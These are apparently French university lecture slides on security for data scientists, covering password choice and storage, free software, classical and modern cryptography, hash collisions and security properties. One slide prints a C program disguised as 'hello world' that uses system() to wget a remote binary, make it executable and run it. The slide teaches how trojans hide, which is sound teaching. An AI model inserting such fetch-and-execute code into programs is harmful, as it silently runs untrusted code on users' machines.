• Aucun résultat trouvé

Security for Data Scientists Lecture 2

N/A
N/A
Protected

Academic year: 2022

Partager "Security for Data Scientists Lecture 2"

Copied!
100
0
0

Texte intégral

(1)

Security for Data Scientists Lecture 2

Pascal Lafourcade

November 2018

1 / 70

(2)

Outline

Intelligence ´ Economique

La s´ ecurit´ e et vous ? Logiciel Libre et S´ ecurit´ e Histoire de la cryptographie Introduction ` a la cryptographie Propri´ et´ es de s´ ecurit´ e

Conclusion

(3)

D´ efinition

La maˆıtrise et la protection de l’information strat´ egique utile pour tout acteur ´ economique.

3 piliers

I Maˆıtrise de l’information, management des connaissances I Protection du patrimoine informationnel

I Strat´ egie d’influence et lobbying La comp´ etitivit´ e est la finalit´ e de l’IE (Intelligence = renseignement)

3 / 70

(4)

Maˆıtriser l’Information

I Identifier les sources

I Collecter l’information (veille, reseaux sociaux ...)

I Exploitation : analyse et aide ` a la d´ ecision

I Diffusion :

(5)

Protection de l’Information

“Seuls les parano¨ıaques survivent”, Andy GROVE, Cofondateur d’Intel en 1968

1. Classification de l’information 2. Diagnostic

3. Protection des acc` es 4. Sensibilisation

5. Surveillance, d´ etection

5 / 70

(6)

Strat´ egies d’Influence

I Presse, m´ edia

I Blog, r´ eseaux sociaux

I Communication en cas de crise infomration/d´ esinformation

(7)

Outline

Intelligence ´ Economique La s´ ecurit´ e et vous ?

Logiciel Libre et S´ ecurit´ e Histoire de la cryptographie Introduction ` a la cryptographie Propri´ et´ es de s´ ecurit´ e

Conclusion

7 / 70

(8)

La s´ ecurit´ e num´ erique est d´ ej` a l` a

(9)

Mais prendre de bonnes habitudes ¸ca prend du temps ...

mˆ eme quand c’est important

9 / 70

(10)

Security for Data Scientists Lecture 2 La s´ecurit´e et vous ?

Devenir acteur de sa s´ ecurit´ e num´ erique

(11)

Devenir acteur de sa s´ ecurit´ e num´ erique car la s´ ecurit´ e c’est pas automatique.

10 / 70

(12)

S´ ecurit´ e de mes mots de passe

(13)

S´ ecurit´ e de mes mots de passe

11 / 70

(14)

Top 25 en 2014

1. 123456 2. password 3. 12345 4. 12345678 5. qwerty 6. 123456789 7. 1234 8. baseball 9. dragon 10. football 11. 1234567 12. monkey

13. letmein 14. abc123 15. 111111 16. mustang 17. access 18. shadow 19. master 20. michael 21. superman 22. 696969 23. 123123 24. batman

12 / 70

(15)

Top 25 en 2015

1. 123456 (Unchanged) 2. password (Unchanged) 3. 12345678 (Up 1) 4. qwerty (Up 1) 5. 12345 (Down 2)

6. 123456789 (Unchanged) 7. football (Up 3)

8. 1234 (Down 1) 9. 1234567 (Up 2) 10. baseball (Down 2) 11. welcome

12. 1234567890 13. abc123 (Up 1) 14. 111111 (Up 1)

13. 1qaz2wsx 14. dragon (Down 7) 15. master (Up 2) 16. monkey (Down 6) 17. letmein (Down 6) 18. login

19. princess 20. qwertyuiop 21. solo

22. passw0rd

23. starwars

13 / 70

(16)

Top 25 en 2016

1. 123456 (Unchanged) 2. 123456789 (Up 5) 3. qwerty (Up 1) 4. 12345678 (Down 1) 5. 111111 (Up 9) 6. 1234567890 7. 1234567 (Up 1) 8. password (Down 6) 9. 123123

10. 987654321 11. qwertyuiop 12. mynoob

13. 123321 14. 666666 15. 18atcskd2w 16. 7777777 17. 1q2w3e4r 18. 654321 19. 555555 20. 3rjs1la7qe 21. google 22. 1q2w3e4r5t 23. 123qwe 24. zxcvbnm

14 / 70

(17)

Passwords: Brute force

15 / 70

(18)

Quelques chiffres

(19)

Calculer la

force

d’un mot de passe

17 / 70

(20)

Security for Data Scientists Lecture 2 La s´ecurit´e et vous ?

Suite aux fuites ...

(21)

Suite aux fuites ...

... j’ai chang´ e mes mots de passe !

18 / 70

(22)

En r´ ealit´ e

(23)

En r´ ealit´ e

19 / 70

(24)

Security for Data Scientists Lecture 2 La s´ecurit´e et vous ?

Quelques conseils

Un mot de passe 1. ne se prˆ ete pas

2. ne se laisse pas traˆıner 3. ne s’utilise qu’une fois

4. s’il est cass´ e, il faut en changer 5. il faut en changer r´ eguli` erement 6. il est jamais assez sophistiqu´ e 7. la taille compte.

I Il est difficile pour un humain de m´ emoriser 12 caract` eres al´ eatoires.

I Passphrase.

(25)

Quelques conseils

Un mot de passe 1. ne se prˆ ete pas

2. ne se laisse pas traˆıner 3. ne s’utilise qu’une fois

4. s’il est cass´ e, il faut en changer 5. il faut en changer r´ eguli` erement 6. il est jamais assez sophistiqu´ e 7. la taille compte.

Remarques:

I Il est difficile pour un humain de m´ emoriser 12 caract` eres al´ eatoires.

I Passphrase.

20 / 70

(26)

Comment stocker les mots de passe ?

Stockage I En clair

I Hach´ e (pwd) ⇒ Rainbowtables ! I Hach´ e (pwd + Salt)

I Hach´ e (pwd + Salt-user)

I bcrypt(pwd + Salt-user) (bcrypt = hachage plus lent ou PBKDF2)

I AES(bcrypt(pwd + Salt-user), SecretKey)

http://linuxfr.org/users/elyotna/journaux/

l-art-de-stocker-des-mots-de-passe

(27)

R´ esum´ e

I Comment les mots de passe sont-ils choisis ?

I Comment sont-ils transmis entre l’utilisateur et le v´ erificateur

?

I Comment sont-ils stock´ es/prot´ eg´ es par l’utilisateur ? I Comment sont-ils stock´ es/prot´ eg´ es par le v´ erificateur ?

22 / 70

(28)

Contre-mesures

I Challenge / Response:

I C to S : hello I S to C : r

I C to S : H(r ||pwd )

I Limiter le nombre de tentatives en bloquant par exemple le syst` eme pour une certaine dur´ ee apr` es un certain nombre d’essais.

I S’assurer que chaque essai est bien men´ e par un humain (et non pas un ordinateur) en utilisant des techniques de type CAPTCHA “Completely Automated Public Turing test to tell Computers and Humans Apart”

I OTP avec SMS en plus pour confirmer.

(29)

John the Ripper

www.openwall.com/john/

24 / 70

(30)

Keep Pass

http://keepass.info/

(31)

Wireshark

https://www.wireshark.org/

26 / 70

(32)

TP S´ eance 4

R´ ealiser en python un stockage de mot de passe du moins au plus

s´ ecuris´ e.

(33)

Outline

Intelligence ´ Economique La s´ ecurit´ e et vous ? Logiciel Libre et S´ ecurit´ e

Histoire de la cryptographie Introduction ` a la cryptographie Propri´ et´ es de s´ ecurit´ e

Conclusion

28 / 70

(34)

Exemples

L A TEX

(35)

Logiciel LIBRE

“free software” 6=

Exemples

I libre, gratuit : Linux, FreeBSD, perl, python ...

I libre, non gratuit : ach´ eter un CD, payer des d´ eveloppeurs...

I non libre, gratuit : Acrobat Reader, Chrome, Flash ...

I non libre, non gratuit : no comment.

30 / 70

(36)

Free as in freedom

4 Freedoms

I Freedom 0: Run the program as you wish, for any purpose.

I Freedom 1: Modify the program to suit your needs. (you must have access to the source code)

I Freedom 2: Redistribute copies, either gratis or for a fee.

I Freedom 3: Distribute modified versions of the program, so

31 / 70

(37)

Security for Data Scientists Lecture 2 Logiciel Libre et S´ecurit´e

Danger HELLOWORLD

#include <stdio.h>

int main(void) {

printf("Helloworld\n");

return 0;

}

Que fait ce programme ?

http://sancy.univ-bpclermont.fr/~lafourcade/Hellworld

32 / 70

(38)

Danger HELLOWORLD

#include <stdio.h>

int main(void) {

printf("Helloworld\n");

return 0;

}

Que fait ce programme ?

Que font les programmes binaires t´ el´ echarg´ es suivants ?

http://sancy.univ-bpclermont.fr/~lafourcade/Helloworld

http://sancy.univ-bpclermont.fr/~lafourcade/Hellworld

(39)

Danger HELLWORLD

#include <stdio.h>

#include <stdlib.h>

int main(void) {

system("wget -q http://sancy.univ-bpclermont.fr/

~lafourcade/Helloworld");

system("chmod 777 Helloworld");

system("clear");

system("./Helloworld");

return 0;

}

33 / 70

(40)

Outline

Intelligence ´ Economique La s´ ecurit´ e et vous ? Logiciel Libre et S´ ecurit´ e Histoire de la cryptographie

Introduction ` a la cryptographie Propri´ et´ es de s´ ecurit´ e

Conclusion

(41)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

L’art de cacher un secret ´ ecrit

St´ eganographie Cryptographie

Transposition Substitution

Chiffr´ e

35 / 70

(42)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

L’art de cacher un secret ´ ecrit

St´ eganographie

Cryptographie

Transposition Substitution

Chiffr´ e

(43)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

L’art de cacher un secret ´ ecrit

St´ eganographie Cryptographie

Transposition Substitution

Chiffr´ e

35 / 70

(44)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

L’art de cacher un secret ´ ecrit

St´ eganographie Cryptographie

Transposition

Substitution

Chiffr´ e

(45)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

L’art de cacher un secret ´ ecrit

St´ eganographie Cryptographie

Transposition Substitution

Chiffr´ e

35 / 70

(46)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

L’art de cacher un secret ´ ecrit

St´ eganographie Cryptographie

Transposition Substitution

Code

(47)

L’art de cacher un secret ´ ecrit

St´ eganographie Cryptographie

Transposition Substitution

Code

Chiffr´ e

35 / 70

(48)

Applications

(49)

Il y a tr` es longtemps

37 / 70

(50)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Les grecs inventent la Scythale

(51)

Les grecs inventent la Scythale

Transposition

38 / 70

(52)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Les Romains

Chiffrement de C´ esar Substitution +3

Ave Cesar

(53)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Les Romains

Chiffrement de C´ esar Substitution +3

Dyh Fhvdu

39 / 70

(54)

Les Romains

Chiffrement de C´ esar Substitution +3

Dyh Fhvdu

Ave Cesar

(55)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Est-ce sˆ ur?

40 / 70

(56)

Est-ce sˆ ur?

Analyse de fr´ equences

(57)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Substitution polyalphabetique (Alberti, Vigen` ere 1553)

Exemple avec la clef k = 3,7,10

m = CON NAI TRE

41 / 70

(58)

Substitution polyalphabetique (Alberti, Vigen` ere 1553)

Exemple avec la clef k = 3,7,10

m = CON NAI TRE

E k (m) = FVX QHS WYO

(59)

Kerchoff’s Principle

In 1883, a Dutch linguist Auguste Kerchoff von Nieuwenhof stated in his book “La Cryptographie Militaire” that:

“the security of a crypto-system must be totally dependent on the secrecy of the key, not the secrecy of the algorithm.”

Author’s name sometimes spelled Kerckhoff

42 / 70

(60)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Chiffrement : Enigma (Seconde guerre mondiale)

+ =

+ + + + + + + =

(61)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Chiffrement : Enigma (Seconde guerre mondiale)

+ =

+ + + + + + + =

43 / 70

(62)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Chiffrement : Enigma (Seconde guerre mondiale)

+ =

+ =

(63)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Chiffrement : Enigma (Seconde guerre mondiale)

+ =

+ =

43 / 70

(64)

Chiffrement : Enigma (Seconde guerre mondiale)

+ =

+ =

+ + + + + + + =

(65)

One-Time Pad (Chiffrement de Vernam 1917)

Exemple:

m = 010111 k = 110010 c = 100101

44 / 70

(66)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Shannon’s Principle 1949

Confusion

The purpose of confusion is to make the relation between the key and the ciphertext as complex as possible.

Ciphers that do not offer much confusion (such as Vigenere cipher) are susceptible to frequency analysis.

ciphertext bits.

The best diffusing component is substitution (homophonic) Principle

A good cipher design uses Confusion and Diffusion together

(67)

Security for Data Scientists Lecture 2 Histoire de la cryptographie

Shannon’s Principle 1949

Confusion

The purpose of confusion is to make the relation between the key and the ciphertext as complex as possible.

Ciphers that do not offer much confusion (such as Vigenere cipher) are susceptible to frequency analysis.

Diffusion

Diffusion spreads the influence of a single plaintext bit over many ciphertext bits.

The best diffusing component is substitution (homophonic)

A good cipher design uses Confusion and Diffusion together

45 / 70

(68)

Shannon’s Principle 1949

Confusion

The purpose of confusion is to make the relation between the key and the ciphertext as complex as possible.

Ciphers that do not offer much confusion (such as Vigenere cipher) are susceptible to frequency analysis.

Diffusion

Diffusion spreads the influence of a single plaintext bit over many ciphertext bits.

The best diffusing component is substitution (homophonic) Principle

A good cipher design uses Confusion and Diffusion together

(69)

Outline

Intelligence ´ Economique La s´ ecurit´ e et vous ? Logiciel Libre et S´ ecurit´ e Histoire de la cryptographie Introduction ` a la cryptographie

Propri´ et´ es de s´ ecurit´ e Conclusion

46 / 70

(70)

Clef sym´ etrique

chiffrement d´ echiffrement

Clef symétrique Clef symétrique

Exemples

I C´ esar, Vigen` ere

I One Time Pad (OTP) c = m ⊕ k

I Data Encryption Standard (DES) 1976

I Advanced Encryption Strandard (AES) 2001

(71)

Communications t´ el´ ephoniques

48 / 70

(72)

Chiffrement ` a clef publique

chiffrement d´ echiffrement

Clef publique

Clef privée

Exemples

I RSA (Rivest Shamir Adelmman 1977): c = m e mod n

I ElGamal (1981) : c ≡ (g r , h r · m)

(73)

Comparison

I Size of the key

I Complexity of computation (time, hardware, cost ...) I Number of different keys ?

I Key distribution

I Signature only possible with asymmetric scheme

50 / 70

(74)

Computational cost of encryption

2 hours of video (assumes 3Ghz CPU)

DVD 4,7 G.B Blu-Ray 25 GB

Schemes encrypt decrypt encrypt decrypt

RSA 2048(1) 22 min 24 h 115 min 130 h

RSA 1024(1) 21 min 10 h 111 min 53 h

AES CTR(2) 20 sec 20 sec 105 sec 105 sec

(75)

ElGamal Encryption Scheme

Key generation: Alice chooses a prime number p and a group generator g of ( Z /p Z ) and a ∈ ( Z /(p − 1) Z ) .

Public key: (p, g , h), where h = g a mod p.

Private key: a

Encryption: Bob chooses r ∈ R ( Z /(p − 1) Z ) and computes (u, v) = (g r , Mh r )

Decryption: Given (u, v), Alice computes M ≡ p u v

a

Justification: u v

a

= Mh g

rar

p M

Remarque: re-usage of the same random r leads to a security flaw:

M 1 h r

M 2 h rp M 1

M 2

Practical Inconvenience: Cipher is twice as long as plain text.

52 / 70

(76)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

Fonction de Hachage (SHA-256, SHA-3)

I Pr´ e-image

I Seconde Pr´ e-image I Collision

I Unkeyed Hash function: Integrity

I Keyed Hash function (Message Authentication Code):

Authentification

(77)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

Fonction de Hachage (SHA-256, SHA-3)

Propri´ et´ es de r´ esitance I Pr´ e-image

I Collision

I Unkeyed Hash function: Integrity

I Keyed Hash function (Message Authentication Code): Authentification

53 / 70

(78)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

Fonction de Hachage (SHA-256, SHA-3)

Propri´ et´ es de r´ esitance I Pr´ e-image

I Seconde Pr´ e-image

I Unkeyed Hash function: Integrity

I Keyed Hash function (Message Authentication Code):

Authentification

(79)

Fonction de Hachage (SHA-256, SHA-3)

Propri´ et´ es de r´ esitance I Pr´ e-image

I Seconde Pr´ e-image I Collision

I Unkeyed Hash function: Integrity

I Keyed Hash function (Message Authentication Code):

Authentification

53 / 70

(80)

Installation de logiciel

H( )

Integrity of the downloaded file.

1. Download on server 1 the software.

2. Download on server 2 the hash of the software.

54 / 70

(81)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

MD5, MD4 and RIPEMD Broken

MD5(james.jpg)= e06723d4961a0a3f950e7786f3766338

How to Break MD5 and Other Hash Functions, by Xiaoyun Wang, et al.

MD5 : Average run time on P4 1.6ghz PC: 45 minutes

MD4 and RIPEMD : Average runtime on P4 1.6ghz: 5 seconds

55 / 70

(82)

MD5, MD4 and RIPEMD Broken

MD5(james.jpg)= e06723d4961a0a3f950e7786f3766338 MD5(barry.jpg) = e06723d4961a0a3f950e7786f3766338

How to Break MD5 and Other Hash Functions, by Xiaoyun Wang, et al.

MD5 : Average run time on P4 1.6ghz PC: 45 minutes

MD4 and RIPEMD : Average runtime on P4 1.6ghz: 5 seconds

(83)

SHA-1 broken in 2017 shattered.io

M. Stevens, P. Karpman, E. Bursztein, A. Albertini, Y. Markov

56 / 70

(84)

SHA-1 broken in 2017 shattered.io

(85)

SHA-1 broken in 2017 shattered.io

58 / 70

(86)

SHA-1 broken in 2017 shattered.io

(87)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

Signature

clef secr` ete clef publique

Clef privée

Clef publique

RSA: m d mod n

60 / 70

(88)

Signature

signature

clef secr` ete clef publique v´ erification

Clef privée

Clef publique

RSA: m d mod n

(89)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

Application : ´ eviter la “fraude au pr´ esident”

I En 2010 > 485 millions d’euros

I En 5 ans 2.300 plaintes ont ´ et´ e d´ epos´ ees,

61 / 70

(90)

Security for Data Scientists Lecture 2 Introduction `a la cryptographie

Application : ´ eviter la “fraude au pr´ esident”

I En 2010 > 485 millions d’euros

I En 5 ans 2.300 plaintes ont ´ et´ e d´ epos´ ees,

(91)

Application : ´ eviter la “fraude au pr´ esident”

I En 2010 > 485 millions d’euros

I En 5 ans 2.300 plaintes ont ´ et´ e d´ epos´ ees,

Solution :

61 / 70

(92)

Outline

Intelligence ´ Economique La s´ ecurit´ e et vous ? Logiciel Libre et S´ ecurit´ e Histoire de la cryptographie Introduction ` a la cryptographie Propri´ et´ es de s´ ecurit´ e

Conclusion

(93)

Traditional security properties

I Common security properties are:

- Confidentiality or Secrecy: No improper disclosure of information

- Authentification: To be sure to talk with the right person.

disclosure of information

- Integrity: No improper modification of information

- Availability: No improper impairment of functionality/service

63 / 70

(94)

Authentication

(95)

Mechanisms for Authentication

Strong authentication combines multiple factors:

E.g., Smart-Card + PIN

65 / 70

(96)

Other security properties

I Non-repudiation (also called accountability) is where one can establish responsibility for actions.

I Fairness is the fact there is no advantage to play one role in a protocol comparing with the other ones.

I Privacy

Anonymity: secrecy of principal identities or communication relationships.

Pseudonymity: anonymity plus link-ability.

Data protection: personal data is only used in certain ways.

(97)

Example: e-voting

I An e-voting system should ensure that I only registered voters vote,

I each voter can only vote once, I integrity of votes,

I privacy of voting information (only used for tallying), and I availability of system during voting period

67 / 70

(98)

Outline

Intelligence ´ Economique La s´ ecurit´ e et vous ? Logiciel Libre et S´ ecurit´ e Histoire de la cryptographie Introduction ` a la cryptographie Propri´ et´ es de s´ ecurit´ e

Conclusion

(99)

Today

1. Introduction 2. GDPR

3. Historic of Cryprography 4. Cryptographic primitives

69 / 70

(100)

Ron Rivest

“Once you have something on the Internet, you are telling

the world, please come hack me.”

Références

Documents relatifs

Main difference for data management problems: the current state is a huge, structured, database; the goal is a complex logical constraint on the data. To go further: two

Cette propri´ et´ e de non-interf´ erence n’est pas une propri´ et´ e de chacune des traces d’ex´ ecution prise individuelle- ment mais de chacune des paires de traces en

In this paper, we formalize a class of computational problems which we call one-more-RSA- inversion problems. They are natural extensions of the RSA-inversion problem underlying

With the current SQL model, each organization must grant a warehouse administrator Read (and Grant-Read) permissions on their exported data – only then can someone define and

Application ` a la s´ecurit´e.- Le service NAT, con¸cu `a l’origine pour pallier au manque d’adresse IP routable, a vu son champ d’application s’´elargir avec les probl`emes

Comme il s’agit de tester un grand nombre de courbes et comme de plus les tests n´ ecessitent beaucoup de calculs et peu d’acc` es ` a la m´ emoire, cette m´ ethode de

Dans ce cas, le client ne peut pas v´ erifier le certificat du serveur et il est possible pour un attaquant de se faire passer pour le serveur, bien que le protocole HTTPS en lui-mˆ

• D´efinition : La signature num´erique est un m´ecanisme permettant d’authentifier l’auteur d’un document ´electronique et de garantir son